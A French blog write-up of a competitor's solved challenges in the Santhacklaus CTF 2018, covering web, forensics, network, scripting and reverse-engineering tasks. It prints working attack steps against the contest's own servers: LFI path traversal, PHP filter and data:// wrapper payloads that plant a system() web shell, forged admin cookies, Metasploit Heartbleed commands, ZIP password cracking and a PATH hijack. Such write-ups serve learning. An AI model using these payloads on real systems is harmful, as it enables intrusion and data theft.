Santhacklaus CTF 2018 - Solved Challenges

Le Santhacklaus CTF 2018 est un challenge Jeopardy en ligne, organisé par quatre étudiants de l’IMT Lille Douai @_nwodtuhs @m3lsius @Ch3n4p4N @Deldel. Cet article traite des différents challenges que j’ai réussi et eu le temps de faire.

D’une durée d’une semaine, du 14/12 au 21/12, la compétition est également un projet étudiant réalisé dans le cadre de la formation des 4 auteurs. De mon point de vue, des challenges plutôt fun et intéressants. Je n’ai pu le commencer qu’à 2 jours et demi de la fin donc malheureusement pour moi je n’ai pas eu le temps de me pencher sur les challenges les plus intéressants. C’est néanmoins une 33e place avec 4390 points !

Santhacklaus Challenges

Sommaire

TL;DR

Nom du challenge Catégorie Explications & Description Valeur
I got 404 problems Web Page d’erreur 404 personnalisée 50
Authentication 2.0 Web Manipulation des méthodes GET et POST 100
The flag grabber Web Manipulation de code HTML/CSS/JS 150
Arch Drive 1/3 Web Local File Inclusion classique 150
Arch Drive 2/3 Web LFI avec wrapper PHP afin de récupérer un fichier 150
SHRT Web Manipulation des headers HTTP 200
jeanclaude.vd Web Fichier de sauvegarde automatique 250
Be my Valentine Web Exploitation Heartbleed 400
3D Industry ½ Web Exécution de code via LFI avec wrapper data:// 400
3D Industry 2/2 Stéganographie Fichier de modélisation 3D 200
Playa Del Fuego Forensics / 50
What’s his name ? Réseau Telnet. Analyse de flux TCP 100
Pong Réseau Exfiltration de données via ICMP 200
Volatility101 Forensics Récupération d’informations sur un dump mémoire 250
Mental arithmetic Programmation Calcul automatisés en interaction avec un serveur 150
On the road again App-Script / 150
QREncoded Programmation Décodage massif de QRcodes afin de former une image 200
Crackme 1 Reverse Engineering / 150
Crackme 2 Reverse Engineering / 250
Slept on the keyboard Cryptographie / 50
Xtracted Cryptographie Brainfuck 100
Stego101 Stéganographie Métadonnées et extraction en utilisant steghide 150

Web Challenges

I got 404 Problems - 50 pts

Simple challenge d’introduction, pas de ressource sur laquelle taper. Le but du challenge tourne autour des erreurs 404. Ainsi, on tente d’accéder via la plateforme à une ressource inexistante.

https://santhacklaus.xyz/zzzz

Et on se retrouve avec une page “404” personnalisée, affichant le premier flag : IMTLD{Th3_P4g3_w4s_n0T_f0uNd}.


Authentication 2.0 - 100 pts

L’énoncé “Did you GET it” indique clairement que le challenge tourne autour de la manipulation de méthodes HTTP. Ainsi, avec l’utilitaire curl, il est possible de réaliser différentes requêtes. Une requête GET classique demande à l’utilisateur d’envoyer son nom d’utilisateur (username) pour s’authentifier.

$ curl -X GET https://authentication.santhacklaus.xyz/

Après quelques recherches sur un possible paramètre caché, j’ai tenté de passer par la méthode POST. On récupère un retour différent demandant maintenant quel est notre nom d’utilisateur.

$ curl -X POST https://authentication.santhacklaus.xyz/

En se basant sur le retour fait à l’utilisateur “What is your username ?” on tente d’envoyer un paramètre “username”.

$ curl -X POST https://authentication.santhacklaus.xyz/ --data "username=Haax"

La requête passe correctement mais le site nous indique que l’utilisateur Haax ne dispose pas des permissions requises pour s’authentifier. Étant donné qu’il s’agit d’un challenge simple, on ne cherche pas très loin et on tente une requête avec l’username “admin”.

$ curl -X POST https://authentication.santhacklaus.xyz/ --data "username=admin"

Le site nous répond avec le flag IMTLD{Y0u_H4v3_t0_st4rT_s0m3Wh3r3} ! :)


The flag grabber - 150 pts

Il s’agit ici d’un challenge axé sur le Javascript. On arrive sur une page web contenant le code suivant.

<div id="cursor">
<input type="submit" value="I want my flag !" name="false_button" onclick="message()">
</div>


<form method="POST" id="formulaire">
<input type="submit" value="I want my flag !" name="button">
</form>

De plus, le code JavaScript suivant est également exécuté.

<script type="text/javascript">
document.onmousemove = function(e) {
    if (!e) {
        var e = window.event;
    }

    var mX = parseInt(e.pageX ? e.pageX : e.clientX, 10);
    var mY = parseInt(e.pageY ? e.pageY : e.clientY, 10);

    if (document.all) {
        mX += document.documentElement.scrollLeft;
        mY += document.documentElement.scrollTop;
    }

    mX = Math.min(Math.max(0, mX), 1500);
    mY = Math.min(Math.max(0, mY), 1400);

    document.getElementById("cursor").style.left = mX - 50 + 'px';
    document.getElementById("cursor").style.top = mY - 12 + 'px';
}
</script>

Il permet de faire en sorte qu’un faux bouton suive la souris de l’utilisateur. Ce bouton déclenche la fonction “message()” suite à un clic. Cette dernière affiche seulement un message du type “Nice Try ! ;)”.

Il est également à noter que le formulaire “formulaire” possède le code CSS suivant.

element {
}

#formulaire {
    visibility: hidden;
}

body {
    font-size: 2em;
    line-height: 30px;
    font-family: "Myriad Pro", "Trebuchet MS", Arial;
}

Ainsi, deux choses sont à prendre en compte pour ce challenge :

  • La visibilité du vrai formulaire, qui est par défaut caché via le CSS ;
  • Le faux bouton qui suit l’utilisateur.

Pour ce qui est du formulaire, la propriété CSS visibility: hidden permet de le cacher. Il suffit ainsi d’ouvrir l’inspecteur d’éléments et de décocher la case la propriété pour voir s’afficher le vrai bouton. Cependant, on ne peut pas encore cliquer dessus, à cause du faux bouton suivant la souris.

Pour cela, une méthode simple est de changer l’identifiant du bouton dans le code HTML. En effet, on voit dans le code JavaScript que les opérations sont effectuées sur l’élément HTML possédant l’identifiant “cursor”. Ainsi, si dans l’inspecteur, on modifie en direct l’identifiant du faux bouton par une autre valeur, ce dernier s’arrête de bouger et ne suit plus la souris.

Ainsi, on peut soumettre le vrai formulaire et voir s’afficher le flag IMTLD{J4v4scRipT_iS_W0nD3rFuL}.


Arch Drive 1/3 - 150 pts

Premier challenge d’une série de 5 challenges. On arrive sur la mire d’authentification à un supposé service de stockage en ligne. Deux possibilités, tenter de bypass le formulaire de connexion ou tenter de passer par le reset du mot de passe. Quelques injections rapides sont tentées mais on se dirige rapidement vers la fonction de reset. Cette page est appelée de la façon suivante.

https://archdrive.santhacklaus.xyz/?page=reset.php

Premier réflexe : LFI !

On tente donc de prouver la vulnérabilité en affichant le très connu “/etc/passwd”.

https://archdrive.santhacklaus.xyz/?page=../../../../etc/passwd

Ce qui nous donne le premier flag.. :) Ce challenge est simple mais il permet de montrer le point d’entrée vers la suite.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false G0lD3N_Us3r:x:1000:1000:IMTLD{Th1s_iS_4n_ImP0rt4nT_uS3r},,,:/home/G0lD3N_Us3r:/bin/bash 


Arch Drive 2/3 - 150 pts

Suite du scénario, et dernier challenge pour ma part. Je n’ai pas eu le temps de me pencher en détails sur les suivants.

A ce stade, on dispose d’une LFI. On a donc plusieurs possibilités. Ne connaissant que peu de fichiers accessibles (reset.php?) on va essayer de récupérer le plus d’informations possible, en lisant par exemple le code source du site web. Une façon relativement simple de parvenir à cela est d’utiliser les wrappers PHP. L’un des plus connus est le wrapper “php://filter” permettant notamment d’encoder le contenu d’un fichier en base64, ce qui permet ensuite de récupérer le contenu du fichier, qui ne sera pas interprété car encodé.

https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=reset.php

De même pour la page de connexion qui apporte des informations plus précises.

https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=login.php

On remarque l’appel à un fichier “myfiles.php”. Toujours pareil, on va fouiller afin de voir ce qu’il contient.

https://archdrive.santhacklaus.xyz/?page=php://filter/convert.base64-encode/resource=myfiles.php
<p class="login100-form-title" style="font-size: 24px">My Recent Documents</p></br>
            <ul>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/rib-bnp.gif">rib-bnp.gif</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/test.html">test.html</a></li>
            <li><a class="txt2" href="images/vacances1.jpg">Vacances_2018_1.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/CONFIDENTIEL.zip">CONFIDENTIEL.zip</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/facture_mobile_sfr.png">facture_mobile_sfr.png</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/camel.jpg">camel.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/cat.jpg">cat.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/documents">documents</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/funny_wtf.jpg">funny_wtf.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/freshandhappy.mp3">freshandhappy.mp3</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/intense.mp3">intense.mp3</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/recup.zip">recup.zip</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/funny.jpg">funny.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/goats.jpg">goats.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/lol.jpg">lol.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/rapport_SM.pdf">rapport_SM.pdf</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/media">media</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/these.pdf">these.pdf</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/these-2.pdf">these-2.pdf</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/wallpaper.jpg">wallpaper.jpg</a></li>
            <li><a class="txt2" href="21f64da1e5792c8295b964d159a14491/VeraCrypt.zip">VeraCrypt.zip</a></li>
            </ul>

Une jolie liste de fichiers ! Il est possible de les télécharger en y accédant directement dans un navigateur. Quelques fichiers inutiles mais également 3 archives ZIP. La seule intéressante pour ce challenge est l’archive “recup.zip” protégée par un mot de passe. Let’s bruteforce !

$ fcrackzip -u -D -p rockyou.txt recup.zip

Assez rapidement, le mot de passe “hackerman” est trouvé. On peut décompresser l’archive et ainsi récupérer le flag IMTLD{F1nd_Y0uR_W4y} dans un fichier “password.txt”.

NOTE : La suite du challenge semble se passer du côté des conteneurs VeraCrypt. Si vous voulez lire la solution, n’hésitez pas à aller voir du côté de https://maki.bzh/courses/blog/writeups/santhacklaus2018/


SHRT - 200 pts

Burp Suite time ! En observant les requêtes, on remarque la présence d’un cookie étrange :

Cookie: connexion= 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

La chaine hexa donnée fait 64 caractères de long, ce qui correspond à un hash SHA256. Un rapide tour sur les bases de données de hash connues révèle la signification de ce dernier : “stranger”. Ok. A partir de là, si on veut passer, peut être faut-il construire un cookie de connexion en administrateur ?

> $ echo -n "admin" | sha256sum
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

On passe ça en cookie, et après on obtient la page suivante.

Are you the real administrator ?
Remember: You need to come from the "russian.deep-web.org" website with the "Black Hat Browser" navigator !

Il semble donc qu’il faille manipuler les en-têtes HTTP. La provenance peut se faire avec l’en-tête “Referer” tandis que le navigateur est identifié par l’en-tête “User Agent”. Ainsi, on construit une requête qui ressemble à ça.

GET / HTTP/1.1
Host: srht.santhacklaus.xyz
Referer: russian.deep-web.org
User-Agent: Black Hat Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: connexion=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Upgrade-Insecure-Requests: 1

Résultat ?

Welcome back admin ! What do you want to do today ?
 - Launch an attack against a government
 - Consult secret documents

Well done ! Take your flag: IMTLD{B3c4u5e_sQL_iNj3cti0n5_4r3_0v3r4tt3D}


Jeanclaude.vd - 250 pts

Atterissage sur une fan page statique de Jean-Claude Van Damme. Quelques recherches classiques nous font aller vers le fichier “robots.txt”.

todo.txt
admin.html

Le fichier “admin.html” semble ne pas être présent. Le fichier texte trouvé contient ceci :

TO CHECK  Delete the admin page (server crashed while editing)
TO DO     Add a contact page
TO DO     Create a Facebook page
DONE      Watch Bloodsport
DONE      Drink water, regularly

L’information importante ici est la première ligne. Il est demandé de vérifier que la page d’administration a bien été supprimée. En théorie, oui, car on ne peut plus y accéder. Néanmoins, il est spécifié que le serveur a crashé durant l’édition, donc, pendant que l’éditeur était ouvert.

Il n’est pas rare que durant l’édition d’un fichier, les éditeurs créés des fichiers automatiques de sauvegarde. Les différentes extensions sont ainsi testées. Puis, je me suis dis que l’éditeur était probablement Vim. A partir de là, quelques recherches indiquent que les fichiers de sauvegardes automatique de Vim ont la syntaxe suivante .nomfichier.extension.swp. Ainsi, on tente de récupérer le fichier admin.html perdu en cours d’édition et…

> $ curl https://jeanclaudevd.santhacklaus.xyz/.admin.html.swp                                                                                                               
<HTML>
<HEAD> <TITLE>Admin</TITLE> </HEAD>
<BODY>
  <h2 class="tm-about-title">Administrator</h2>
  <IMG SRC="img/jcvd2.gif">
  <IMG SRC="img/jcvd3.gif">
  <IMG SRC="img/jcvd4.gif">
  <p class="tm-about-description">
    Congratz ! Here is the flag IMTLD{ID04L0t0f1s0m3tr1cs}
</BODY>
</HTML>


Be my Valentine - 400 pts

Le nom, l’énoncé “Take care of your heart (maybe also your eyes).” ainsi que l’image d’un grand coeur me fait directement penser à l’exploitation de la CVE-2014-0160 plus connue sous le nom de “Heartbleed”. Une adresse IP ainsi qu’un port sont donnés 51.75.202.113:1073. Il s’agit d’un blog sans intérêt particulier.

Pour l’identification et l’exploitation de la potentielle vulnérabilité, l’exploit intégré au framework Metasploit est utilisé. Un détail qui m’a fait chercher un petit peu avant de comprendre pourquoi je ne récupérais rien, la version de TLS utilisée par le serveur. Je n’y avais pas fait attention et avais laissé la valeur par défaut dans l’exploit.. Il s’agit en fait de TLS 1.2, visible au niveau du certificat.

> use auxiliary/scanner/ssl/openssl_heartbleed
> set RHOSTS 51.75.202.113:1073
> set RPORT 1073
> set TLS_VERSION 1.2

# Note - Ne pas oublier de modifier la verbosité afin de récupérer les données
> set verbose true

> exploit

Parmi la bouillie d’informations exfiltrée, on retrouve ceci :)

[+] 51.75.202.113:1073    - Heartbeat response with leak, 65535 bytes
[*] 51.75.202.113:1073    - Printable info leaked:
......\.pp......%..765.........}S.C.....f.....".!.9.8.........5.............................3.2.....E.D...../...A.......................................w-form-urlencoded....IMTLD{I_Cl34n3d_Y0ur_D1rtY_H34rT_Sw33tY}\:.`..?..h.)


3D Industry (½) - 400 pts

Le challenge débute ici sur le site d’une petite entreprise. Plusieurs pages sont accessibles de cette façon :

https://3d-industry.santhacklaus.xyz/index.php?file=creations.php

Une fois encore, premier réflexe : LFI ! Afin d’effectuer mes tests, je me suis basé sur l’excellent dépôt Github de Swissky : PayloadAllTheThings.

Après quelques tests, on arrive à l’utilisation du wrapper PHP data://. Celui ci permet d’envoyer des données, encodées par exemple en base64. Il est ainsi possible par exemple d’envoyer du php qui peut être interprété par le serveur. Par exemple, le payload suivant peut être tenté :

# Payload
"<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

# Encodage 
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

# Requête
https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

On remarque l’affichage de notre chaine “Shell done !”. Cela veut dire que le PHP a bien été exécuté. Ainsi, on obtient une exécution de commandes sur le serveur :).

https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=ls

accueil.php admin config contact.php creations.php inc index.php lang lang.php services.php style Shell done ! 

Pour des raisons pratique, j’ai ensuite utilisé burp afin de fouiller le serveur.

L’affichage des fichiers cachés dans le dossier courant avec ls -lah révèle la présence d’un répertoire “.hidden”. En fouillant dans ce répertoire, on trouve plusieurs répertoires imbriqués, jusqu’au flag.

https://3d-industry.santhacklaus.xyz/index.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=cat .hidden/this/is/the/path/to/the/flag/flag.txt

Well done ! You can validate with the flag:
IMTLD{B3w4r30fURL1nclud3}Shell done !


3D Industry (2/2) - 200 pts

La suite du challenge n’est plus tellement du web mais plutôt de la stéganographie/MISC puisqu’il s’agit de récupérer et exploiter des données. L’énoncé indique que le dirigeant est maintenant inquiet à propos des uploads de fichiers, dans la section d’administration

Toujours via l’exploitation de la LFI, on fouille le serveur en direction de la section d’uploads de fichiers et on y trouve un fichier admin/uploads/s3cr37-d0cum3n7.txt contenant une très longue chaine qui semble être de la base64.

$ wget -O 3D.txt https://3d-industry.santhacklaus.xyz/index.php\?file\=data://text/plain\;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4\=\&cmd\=file:///index.php%3Ffile\=data://text/plain%3bbase64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4\=\&cmd\=cat%20admin/uploads/s3cr37ed0cum3n7.txt

Une fois la base64 isolée et décodée, on observe au début la chaine suivante “SketchUp STL com.sketchup.SketchUp.2018”. Je connaissais déjà le logiciel sketchup, permettant de faire de la modélisation 3D. On a donc un fichier. On redirige donc la base64 dans un fichier “3D_industry.stl”.

Après quelques recherches, je me suis aperçu que Sketchup dispose d’un éditeur en ligne ! Parfait, ça m’évite d’installer le logiciel et ça me convient très bien. On peut donc importer le fichier sur l’éditeur et voir le flag s’afficher ! :)


Forensics et réseau

Playa Del Fuego - 50 pts

Le challenge démarre avec un PDF sur lequel une partie du texte est cachée par une bande noire. Il est demandé de retrouver le contenu du texte caché. Une simple copie du texte du document vers un éditeur de texte révèle la présence de la bande cachée, et donc du flag IMTLD{Bl4ck_0n_Bl4ck_isAbadIDEA}.


What’s his name ? - 100 pts

La capture réseau fournie avec le challenge concerne des échanges réalisés avec telnet. Le traffic étant en clair, il est possible de retrouver le contenu des échanges avec Wireshark en utilisant la fonctionnalité “Follow TCP stream”. Ainsi on récupère le contenu suivant, contenant le mot de passe de l’utilisateur.

........... ..!.."..'.....#..... ..#..'........!.."..... .....#.....'.............h.7.... .38400,38400....#.nani.lan:1....'..DISPLAY.nani.lan:1......xterm-256color..............Debian GNU/Linux 7
debian login: jjcceennaa
.
Password: W4tch4_W4tch4
.
Last login: Tue Oct 30 05:27:07 CDT 2018 from 172.27.191.154 on pts/0
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.96-2 i686


Pong - 200 pts

La capture de trames réseau fournie pour ce challenge contient plusieurs milliers de trame ICMP. Il s’agit en réalité d’une exfiltration de données via le protocole ICMP. En effet, il est possible d’exfiltrer une faible quantité de données dans le champ data d’un ping. Après quelques essais et observations sur le contenu de quelques trames, on observe que les données exfiltrées ressemblent à de la base64. J’ai automatisé l’extraction avec le script python suivant (dégueulasse, je vous l’accorde).

#!/usr/bin/env python

from scapy.all import *

pcap_file = "challenge.pcapng"

data = rdpcap(pcap_file)

output = ""

for i in range(0, len(data)):
    if data[i].getlayer(IP).dst == "192.168.1.33":
        payload = data[i].load.decode("utf-8")
        print(payload)
        output += payload

output_file = open("result.b64", "w")
output_file.write(output)
output_file.close()

Par la suite, on décode la base64 pour s’apercevoir qu’il s’agit d’un fichier PNG, laissant apparaître le flag IMTLD{4_s1mpl3_3xfilTR4t1oN_tECHNIQUe}.


Volatility101 - 250 pts

Super challenge d’introduction/rappels à volatility ! On démarre avec un dump de RAM d’un Windows qu’il faut analyser. Le challenge est composé de trois parties :

  • Partie 1 - Récupérer le nom de la machine ;
  • Partie 2 - Retrouver le nom de l’archive ZIP présente sur le bureau de l’utilisateur ;
  • Partie 3 - Récupérer le contenu de l’archive

Après avoir récupéré les informations du dump, permettant notamment de sélectionner un profil, on requête la liste des ruches (hives) afin d’avoir l’offset de la ruche \REGISTRY\MACHINE\SYSTEM qui contient notamment le nom de la machine.

$ volatility -f challenge.dmp imageinfo
$ volatility -f challenge.dmp --profile=Win7SP1x86_23418 hivelist

> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 hivelist                                                                                                          
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x8900c008 0x28872008 [no name]
0x8901a1d8 0x28a3a1d8 \REGISTRY\MACHINE\SYSTEM
0x8903a008 0x2891a008 \REGISTRY\MACHINE\HARDWARE
0x890c0580 0x2d26c580 \SystemRoot\System32\Config\DEFAULT
0x96c03008 0x2d9d2008 \Device\HarddiskVolume1\Boot\BCD
0x96cf29c8 0x2d4d99c8 \SystemRoot\System32\Config\SOFTWARE
0x9ba13458 0x2d00e458 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x9ba22008 0x2ce76008 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x9ba3c9c8 0x2517d9c8 \SystemRoot\System32\Config\SECURITY
0x9ba8c9c8 0x24d819c8 \SystemRoot\System32\Config\SAM
0x9e4699c8 0x235679c8 \??\C:\Users\John\ntuser.dat
0x9e55e9c8 0x1bfe49c8 \??\C:\Users\John\AppData\Local\Microsoft\Windows\UsrClass.dat

Puis on va chercher la clé de registre utilisée pour stocker le nom de la machine.

$ volatility -f challenge.dmp --profile=Win7SP1x86_23418 printkey -o 0x8901a1d8 -K 'ControlSet001\Control\ComputerName\ComputerName'                                       
Volatility Foundation Volatility Framework 2.6
Legend: (S) = Stable   (V) = Volatile

----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ComputerName (S)
Last updated: 2018-11-06 13:20:03 UTC+0000

Subkeys:

Values:
REG_SZ                        : (S) mnmsrvc
REG_SZ        ComputerName    : (S) WELC0M3

Pour la suite du challenge, plusieurs options semblent possible. J’ai trouvé l’information que je cherchais en observant les commandes qui avaient été tapées par l’utilisateur. Grâce au module consoles on récupère celles-ci et on observe la copie d’une archive ZIP depuis le répertoire de téléchargement de l’utilisateur John vers son bureau. On a ainsi le nom du fichier ZIP.

> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 consoles 

Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 2404
Console: 0x6981c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 2388 Handle: 0x5c
----
CommandHistory: 0xb1cc0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0xb2c50: copy C:\Users\John\Downloads\toTh3.zip C:\Users\John\Desktop\
Cmd #1 at 0xae3d8: dir Desktop
----
Screen 0x962a0 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\John>copy C:\Users\John\Downloads\toTh3.zip C:\Users\John\Desktop\     
        1 file(s) copied.

> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 filescan | grep "toTh3.zip"                                                                                       
Volatility Foundation Volatility Framework 2.6
0x000000003e067440      8      0 RWD--- \Device\HarddiskVolume2\Users\John\Desktop\toTh3.zip
0x000000003e712c08      2      0 R--rw- \Device\HarddiskVolume2\Users\John\Downloads\toTh3.zip

La dernière étape est de récupérer le contenu de l’archive. La première chose à faire est d’extraire le fichier du dump.

> $ volatility -f challenge.dmp --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003e067440 -D extractFolder                                                                       
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3e067440   None   \Device\HarddiskVolume2\Users\John\Desktop\toTh3.zip

Une fois le fichier récupéré, il ne reste plus qu’à récupérer le contenu de l’archive.. Après avoir cracké le mot de passe ;)

$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.None.0x85db26e0.dat

PASSWORD FOUND!!!!: pw == iamahacker

On récupère ainsi la dernière partie du flag “F0r3ns1cCLUB” ce qui permet de créer le flag de l’épreuve IMTLD{WELC0M3_toTh3_F0r3ns1cCLUB}.


App Scripts & Programmation

Mental arithmetic - 150 pts

Le but de ce challenge est de se connecter à une machine distante afin d’y récupérer deux nombres, d’effectuer une opération entre ces derniers et de renvoyer le résultat rapidement au serveur.

Je me suis dit pour cela que c’était l’occasion d’essayer la librairie Python pwntools ! Ainsi, ci-dessous le script (dégueulasse également..) que j’ai utilisé :)

#!/usr/bin/env python

from pwn import *
from math import *

# Connexion à la machine
conn = remote('51.75.202.113', 10001)

# On passe les instructions du challenge
print(conn.recvline())
print(conn.recvline())
print(conn.recvline())

# Réception du premier nombre
first = conn.recvline().split(' ')[3]
print(first)

# Réception du second nombre
second = conn.recvline().split(' ')[3]
print(second)

# Opérations et calcul du résultat
print(sqrt(int(first)))
print(pow(int(second), 3))
res = sqrt(int(first)) * pow(int(second), 3)
print(int(res))

# Envoi au serveur
conn.sendline(str(int(res)))

# Récupération du flag
print(conn.recv(timeout=2))
conn.close()

Et maintenant, en action…

> $ python2.7 ./menthal.py                                                                                                                                                   
[+] Opening connection to 51.75.202.113 on port 10001: Done
Welcome !!

You must calculate the square root of the 1st number, multiply the result by the cube of the 2nd number and send the integer part of the final result...

I almost forget, you only have 2 seconds to send me the result

3858
4858
62.1128006131
1.14649596712e+11
7121207540942
Congratz!! Flag : IMTLD{TheFastestManAlive}

[*] Closed connection to 51.75.202.113 port 10001


On the road again - 150 pts

Le challenge démarre sur une machine sur laquelle nous avons accès à un binaire et son code source. Le but du challenge est d’afficher le contenu du fichier “.flag”.

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    system("rm /home/challenger1/.flag");
    return 0;
}

Le programme réalise donc simplement un rm du fichier “.flag”. La plupart des commandes classiques sont désactivées. Ainsi, pour réussir à afficher le contenu du fichier, il faut réussir à modifier le comportement du binaire. On peut par exemple essayer de faire en sorte que le rm réalise une action différente. On va ainsi créer un fichier /tmp/rm contenant en réalité un appel à la commande cat. On modifie ensuite la variable d’environnement PATH afin que le programme aille chercher dans /tmp sa commande rm et lance donc notre programme :).

$ echo '#/bin/cat' > /var/tmp/rm
$ PATH=/tmp
$ ./ch1

#!/bin/cat
IMTLD{Th1s0neW4sSymPATH3t1c2}


QREncoded - 150 pts

Le challenge est composé de plusieurs centaines de QRcodes qu’il faut décoder et assembler. Le décodage de quelques uns d’entre eux semble donner de la base64. Ainsi, le challenge semble être de décoder les QRcodes un par afin d’obtenir une chaine en base64, à décoder.

Le tout peut se faire en une ligne de bash :

for index in {0..843}; do zbarimg -q --raw part_$index.png ; done | tr -d '\n' | base64 -d >> result

Quelques explications, on réalise une boucle ayant pour nombre d’itérations le nombre de qrcodes. Pour chaque itération, on utilise le programme zbarimg afin de décoder l’image. Ce dernier affiche le résultat dans le terminal. Ainsi, à la fin de la boucle, on dispose de toutes les bases64 dans le terminal. On utilise ensuite tr afin de retirer les retours à la ligne et reformer une chaine complète puis on décode le tout et on envoie le résultat dans un fichier.

> $ file result                                                                                                                                                              
result: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.6, datetime=2018:11:15 22:24:26], progressive, precision 8, 423x532, components 3

On obtient donc une jolie image JPEG nous donnant le flag IMTLD{qrCODES_R_3v1l}.


Reverse Engineering

Crackme 1 - 150 pts

Le premier challenge de reverse demande un mot de passe en argument, le vérifie, et affiche “password incorrect” ou le flag en fonction du mot de passe utilisé.

Nul besoin de rentrer dans les détails du binaire pour ce premier challenge (un peu de répit avant la souffrance…) puisqu’une simple étude des appels aux librairies effectués, à l’aide de ltrace permet d’obtenir le mot de passe de l’application…

$ ltrace ./crackme_1 loltest                                                                                                                                               
strlen("hackerman")                                                                                        = 9
strlen("hackerman")                                                                                        = 9
puts("Password incorrect"Password incorrect
)                                                                                 = 19
+++ exited (status 0) +++

On peut donc récupérer le flag en utilisant le mot de passe récupéré.

$ ./crackme_1 hackerman                                                                                                                                                    
Access granted !
Flag : IMTLD{Y0uAr34H4ck3rH4rry}


Crackme 2 - 250 pts

On rentre ici dans le vif du sujet ! Merci à @Tomtombinary qui m’a aidé pour la résolution de ce challenge notamment en répondant à mes trop nombreuses questions :D. Je passe l’ensemble de l’analyse du binaire pour me concentrer uniquement sur les parties intéressantes.

